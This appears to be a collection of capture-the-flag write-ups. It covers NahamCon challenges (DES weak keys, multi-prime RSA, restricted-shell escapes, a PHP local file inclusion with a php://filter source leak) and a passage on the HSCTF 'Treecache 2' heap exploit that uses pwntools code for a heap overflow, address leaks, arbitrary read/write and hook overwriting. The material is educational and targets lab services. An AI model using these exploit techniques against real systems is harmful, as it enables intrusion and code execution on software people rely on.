for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
**FOR IMAGES AND PROPER FORMATTING PLEASE CHECK ORIGINAL**
# IntroductionTreecache 2 was a challenge at HSCTF 2020. It contains an implementation of a[Red Black Tree](https://en.wikipedia.org/wiki/Red%E2%80%93black_tree). We havethe following options:```1) Make a donation2) Revoke a prior donation3) Edit a prior donation4) Print a prior donation5) Exit```The donations are going to be kept in the Red-Black tree. We are also giventhe __libc.so.6__ and __ld.so__ files meaning probably we have to do some heapexploitation.
# Binary and reversingThe binary is not stripped completely but we still have to annotate it in Ghidrain order to find bug(s). First of all, check the security,```[+] checksec for 'trees2'Canary : ✓ NX : ✓ PIE : ✓ Fortify : ✘ RelRO : Partial```We have a PIE binary which means that the different sections heap, libc andbinary are all relocated to different offsets in each run. In contrary toregular ASLR we cannot just leak a LIBC function and override the GOT becausethe binary also changes position.
## ReversingJust fire up ghidra and start annotating the variables. The most significantchange is to create a struct for the tree nodes. By checking some offsets andseeing how a Red Black tree works, we can work out the main components.

We are going to decompile each one of the main functions and go one by one.
### create_donation
> node->donation_name and node->description are cleared on creation.
This means that looking for a UAF, even if we find one, is probably going to beworthless.
### edit_donation
> We write over node->donation_name, we __dont__ change the pointer.
> We free and malloc node->description with a new __user inputted__ length.
> Description is filled with __read_str__ maybe there is a heap overflow there.
### print_donation
We could use this function to print the contents of a memory location if wewere able to ovewrite the description or donation_name pointers.
### read_str
We can see very clearly that there is a bug here if the maximum length is 0.We are going to write out of bounds until we input a newline.
# Highlevel path to solutionWe are going to try to leak a LIBC address to find the base. Then, we can overwrite**__malloc_hook** or **__free_hook** with a [one_gadget](https://github.com/david942j/one_gadget)to get code execution.
# My solutionI saw several write ups where they poisoned the free list to get arbitrary writes.I thought it would be easier to write out of bounds from the one node to thenext and overwrite the name pointer. Then, we can use edit to write the bytesto the new location.
I also added another twist, instead of reading the libc address directly, I firstleak the heap base location and then read the libc by abusing the print_donationfunction.
In summary:
1. Abuse the malloc bins to place a libc address on the heap.2. Leak the heap base address.3. Read the location where the libc address is, thus leaking the libc baseaddress.4. Overwrite a libc hook with our gadget.
We have to do step 1 before step 2 so that our allocations dont mess the heaplater on.
## Script preparationsWe are going to load pwntools and create a Python function for creating, editing,revoking and printing donations. They are going to send the correct numbers,parse the output and consume the remaining text. For example:```pythondef show(id): p.sendline(b"4") p.recvline() # Enter id text p.sendline(id) # ID trees = p.recvline() donator = p.recvline()[len(b"Donator: "):-1] description = p.recvline()[len(b"Description: "):-1] p.recvuntil(b"5) Exit\n> ") return (donator, description)```
## Abuse malloc bins to place libc address on the heapLooking at several writeups, especially this [one](https://faraz.faith/2019-10-12-picoctf-2019-heap-challs/),we can try an abuse the TCACHE structure.
### What is TCACHE?GLIC malloc is very very fast because it maintains several linked list of pointersto free space in what is called the arena. Starting from GLIC 2.26, there is afirst level linked list calledTCACHE. When you free several chunks of the same size, they go to a TCACHE list.
When the list has 7 items in it, the next free goes into either fast bin orunsorted bin. If it goes into unsorted bin, a pointer into libc arena is placedwhere the chunk used to be.```c // This pointer comes from a malloc.chunk = 0xdeadbeeffree(chunk)// Where the chunk used to be, now there is a pointer to libc.libc_ptr = *chunk```If the free pointer goes into a fast bin, we have to do a lot more steps. In orderto prevent it, we have to malloc chunks of size greater than 0x80. For moreinformation and a working example of tcache abuse check [here](https://faraz.faith/2019-10-12-picoctf-2019-heap-challs/).
### Filling TCACHEThe nodes and names themselves are too small to fill the correct TCACHE bin, weare going to use descriptions with our specified length.```pythonSIZE = b"130"MESSAGE = b"C"*10# We create nodes 1, 2 and 3 that we are going to later use for Arbitrary# read/write. We create them now so that there are all near in memory and near# the unsorted bin.for i in range(1, 4): create() edit(str(i).encode(), b"Test", b"1", b"")# We fill the TCACHE bin by creating 8 descriptions (and nodes as unintended# consequence) of size SIZE. MESSAGE is irrelevant. We create 9 because we want# to keep the last one to prevent consolidation with the upper chunk.for i in range(4, 13): create() edit(str(i).encode(), b"Test", SIZE, MESSAGE)# Free all the memory in reverse order so that the last description to be fred# is the closest to us.for i in range(11, 3, -1): revoke(str(i).encode())```The comments are pretty self explanatory. I want to explain whywe add another node to prevent memory consolidation. We do it because malloctries to group nearby chunks essentially. So if you have a lot of free chunksnear the end of the HEAP, they are going to get fused into one. By keeping thelast node set, we can prevent this.
Another note is that depending on the malloc implementation, different sizes willend up different places in memory. Without delving on the details, we have to setthe same sizes in all the chunks and malloc them in the same order to preventthat the nodes and descriptions fall out of order (in memory).
After freeing both the node itself, the node->donation_name and the node->description,we can inspect the heap bins:

There is one chunk in the unsorted bin which means that at memory location0x558d85c04890 we have a pointer to libc. The offset from this pointer to thestart of libc (calculated using vmmap in gdb) is fixed and we can include itin the code as a constant (OFFSET_UNSORTED_BIN).
Lastly, for the rest of the exploit we want to use the edit function to corruptthe next node which means that when we free the description pointer and mallocagain, we want to get the **same** pointer. We have created then edited the nodesin that order so that the descriptions end up between the nodes. What happens ifwe edit now is that the desired pointer goes to the end of the TCACHE list(size 0x20) so we need to empty the list before continuing. We fill the TCACHEof size 0x20 by creating nodes and their names.```python# NOT NECESSARY but VERY convenient. Fill the memory again so that new mallocs# are predictable.for i in range(11, 3, -1): create()```

## How to leak heap addressThe first part of the exploit consists of leaking the heap address. We have3 nodes which are connected in a tree and adjacent in memory with thedescriptions interleaved.

We are going to try and fill the buffer from node2->description until the namepointer in node3. That way, when we print node2, we get some heap pointer. Letsplot it out in memory:

We can see that we can reach the next node by writing into the description. Theplan is to fill the buffer with As (for example) but, because we are using gets,we are going to end up with a "\x00". We can put the zero but I put it in thedescription.
I write 7 bytes "\x00" to the description pointer + the "\x00"that _gets_ places. When calling edit, the pointer is identically zero so the freesuccess and a fresh pointer is placed. In the edit we setthe amount to the bytes "AAAAAAAA" as represented as unsigned long:```pythonpayload = b"A" * OFFSET_NODEpayload += b"A" * 8 # Amountpayload += b"\x00" * 7 # Description ptr. Last byte is written by putsedit(b"2", b"Test", b"0", payload)# We are going to send amount AAAAAAAA..AA as unsigned longarr = b"AAAAAAAA"amount = str(struct.unpack("<Q", arr)[0]).encode()edit(b"3", b"Test", b"1", b"", amount=amount)```

You can see it in the memory dump. Left is before the edit of node2 that sets freesthe 0 and gets a new pointer in place. The right part was dumped after the edit.You can see that the amount is still "AAAA..AA" and that the description is avalid pointer.
Then, we can print the second node and extract the heap address from the bytesof the description that start after the AAA..AAA:```python_, desc = show(b"2") # example: desc = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90\x88\xd4\xec\x9eU'desc = desc.lstrip(b"A")desc = desc + b"\x00" * (8 - len(desc))leaked_heap = u64(desc)log.info("Leaked heap address is at: 0x{:02X}".format(leaked_heap))```
## How to read/write arbitrary memoryWe are going to use the same technique. We are going to overflownode2->description and write node3->donation_name pointer. As you can recall,before donation_name, there is description. In order for the pointer to befred correctly in _edit_, we write "\x00". Additionaly, when writingnode->donation_name, we are going to pollute the *left_node* field with a zero.This is why we got 3 nodes. Check the difference:

If we had two nodes, we could no longer reach one of them so there is noposibility of editing/printing 1 again. If we have 3 nodes, that is not a problem.(The image is the worst possible case, in reality we may end up corrupting node3pointers which were null so nothing happens).
For reading we call print and check the name. For writing, we call edit withthe appropiate bytes to change the name:```pythondef read_address(addr): log.info("Reading 0x{:02X}".format(addr)) payload = b"A" * OFFSET_NODE payload += b"A" * 8 # Amount payload += b"\x00" * 8 # Description ptr. payload += p64(addr) # Name ptr. payload += b"\x00" * 7 # Description ptr. # Last byte is written by puts but it alters the node->left and we dont care edit(b"2", b"Test", b"0", payload) name, _ = show(b"3") name = name + b"\x00" * (8 - len(name)) return u64(name)
